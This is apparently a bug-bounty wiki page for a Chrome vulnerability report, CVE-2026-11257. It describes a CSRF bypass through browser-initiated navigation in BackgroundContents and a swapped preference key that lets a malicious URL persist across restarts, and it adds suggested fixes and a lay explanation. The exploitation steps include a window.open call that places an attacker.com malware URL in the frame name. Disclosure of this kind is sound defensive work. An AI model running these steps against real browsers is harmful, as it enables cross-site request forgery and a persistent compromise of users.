Inappropriate implementation in Browser (CVE-2026-11257)
Two logic bugs in Chrome's BackgroundContents handling: navigations during background content creation are treated as browser-initiated, bypassing Fetch Metadata CSRF protections; and a key-swap bug in preferences loading allows a malicious URL to be persisted and silently loaded on restart. A compromised renderer could bypass CSRF defences and achieve persistence for a malicious origin.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 2 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: A compromised renderer belonging to a hosted app can trigger a browser-initiated navigation when creating background contents, bypassing Fetch Metadata CSRF protections. Furthermore, a logic error in preferences loading swaps the URL and frame name keys, allowing the attacker to persist a malicious URL that executes silently on browser restart.
Affected files:
chrome/browser/ui/browser.ccchrome/browser/background/background_contents_service.ccchrome/browser/background/background_contents.cc
Estimated timestamp from git blame: 2022-08-17
Summary
There are two security-relevant logic bugs in the handling of BackgroundContents for hosted apps. First, navigations triggered during the creation of an isolated background content lack proper initiator attribution, treating renderer-initiated navigations as browser-initiated. Second, a bug in the persistence layer swaps the URL and frame name when reloading background contents from disk.
Combined with a compromised renderer, an attacker can bypass Fetch Metadata CSRF mitigations and achieve persistence for a malicious origin under the identity of a trusted hosted app.
Bug 1: Missing Initiator Attribution in CreateBackgroundContents
When a hosted app with the background permission and allow_js_access: false creates a background window via window.open(), the browser isolates the content in a new SiteInstance and initiates a navigation to the renderer-supplied URL:
// chrome/browser/ui/browser.cc:3811
contents->web_contents()->GetController().LoadURL(
target_url, content::Referrer(), ui::PAGE_TRANSITION_LINK,
std::string());
This uses the 4-argument LoadURL signature, which internally constructs a default LoadURLParams object. By default, is_renderer_initiated is false and initiator_origin is nullopt. As a result, the navigation is treated as browser-initiated. The network service will set the Sec-Fetch-Site header to none instead of cross-site, allowing a compromised renderer to bypass Fetch Metadata CSRF protections on any target origin.
Bug 2: Persistence Logic Bug in BackgroundContentsService
BackgroundContentsService persists background content information to the kRegisteredBackgroundContents preference on disk so it can be restored on browser restart. When saving, it correctly stores the URL under kUrlKey ("url") and the frame name under kFrameNameKey ("name").
However, the logic for reading these values back in LoadBackgroundContentsFromDictionary is flawed:
// chrome/browser/background/background_contents_service.cc:510-511
const std::string* maybe_frame_name = dict->FindString(kUrlKey);
const std::string* maybe_url = dict->FindString(kFrameNameKey);
The keys are swapped. An attacker can set the frame_name parameter of the mojom::FrameHost.CreateNewWindow IPC to a malicious URL. This URL is stored in the kFrameNameKey preference and, due to the swap bug, is loaded as the background content's URL upon browser restart.
Potential Exploitation Steps
(Note: These are suggested steps based on static analysis; our tooling has not executed a live proof-of-concept).
- Precondition: The user has a hosted app installed with
backgroundpermission andallow_js_access: falsein its manifest. The attacker achieves RCE in the renderer process for this app. - Trigger Bug: The compromised renderer executes a window creation request, equivalent to
window.open("https://bank.com/transfer", "https://attacker.com/malware.html"). - CSRF Bypass: The browser intercepts the window creation and routes it to
Browser::CreateBackgroundContents. It immediately initiates a navigation tohttps://bank.com/transfer. Becauseis_renderer_initiateddefaults tofalse, the request bypasses Fetch Metadata CSRF protections. - Save Malicious State: The background contents finish navigating. The browser saves the state to preferences, storing the frame name (
https://attacker.com/malware.html) under the "name" key. - Achieve Persistence: The user eventually restarts Chrome. During startup, the browser loads the preferences. The key-swap bug reads the "name" key and assigns it to the URL variable. The browser silently creates a background contents pointing to
https://attacker.com/malware.html. The attacker has achieved persistence.
Suggested Fix
- Fix Initiator Attribution: In
Browser::CreateBackgroundContents, replace the 4-argumentLoadURLcall withLoadURLWithParams. Explicitly populate theLoadURLParamsobject, settingis_renderer_initiated = true, and supplying the appropriateinitiator_originandinitiator_process_idcorresponding to the opener frame. - Fix Key Swap: In
BackgroundContentsService::LoadBackgroundContentsFromDictionary, assigndict->FindString(kUrlKey)tomaybe_urlanddict->FindString(kFrameNameKey)tomaybe_frame_name.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the code uses a default navigation parameter that marks the request as browser-initiated, and later reads two preference keys in the wrong order.
Impact
A compromised renderer could bypass Fetch Metadata CSRF protections and persist a malicious URL that loads silently on browser restart, though the report notes no live proof-of-concept was executed.
What the attacker needed
Hosted app with background permission; allow_js_access set to false; attacker has renderer code execution
The fix
The fix should explicitly set the navigation as renderer-initiated with the correct initiator origin, and correct the swapped preference keys when loading background contents.
How it was found
- The user has a hosted app installed with background permission and allow_js_access set to false, and the attacker has code execution in the renderer.
- The compromised renderer requests a new window with a target URL and a frame name that is itself a malicious URL.
- The browser creates background contents and navigates to the target URL without marking the navigation as renderer-initiated, so Fetch Metadata CSRF protections are bypassed.
- The browser saves the background content state, storing the malicious frame name under the name key.
- On browser restart, the key-swap bug loads the name value as the URL, silently opening the malicious URL.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes two mistakes in how Chrome handles background pages for installed web apps. One mistake makes Chrome treat a page's request as if it came from the browser itself, so a security check that normally blocks cross-site requests is skipped. The other mistake swaps two saved settings, letting an attacker store a malicious web address that Chrome opens automatically the next time it starts.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.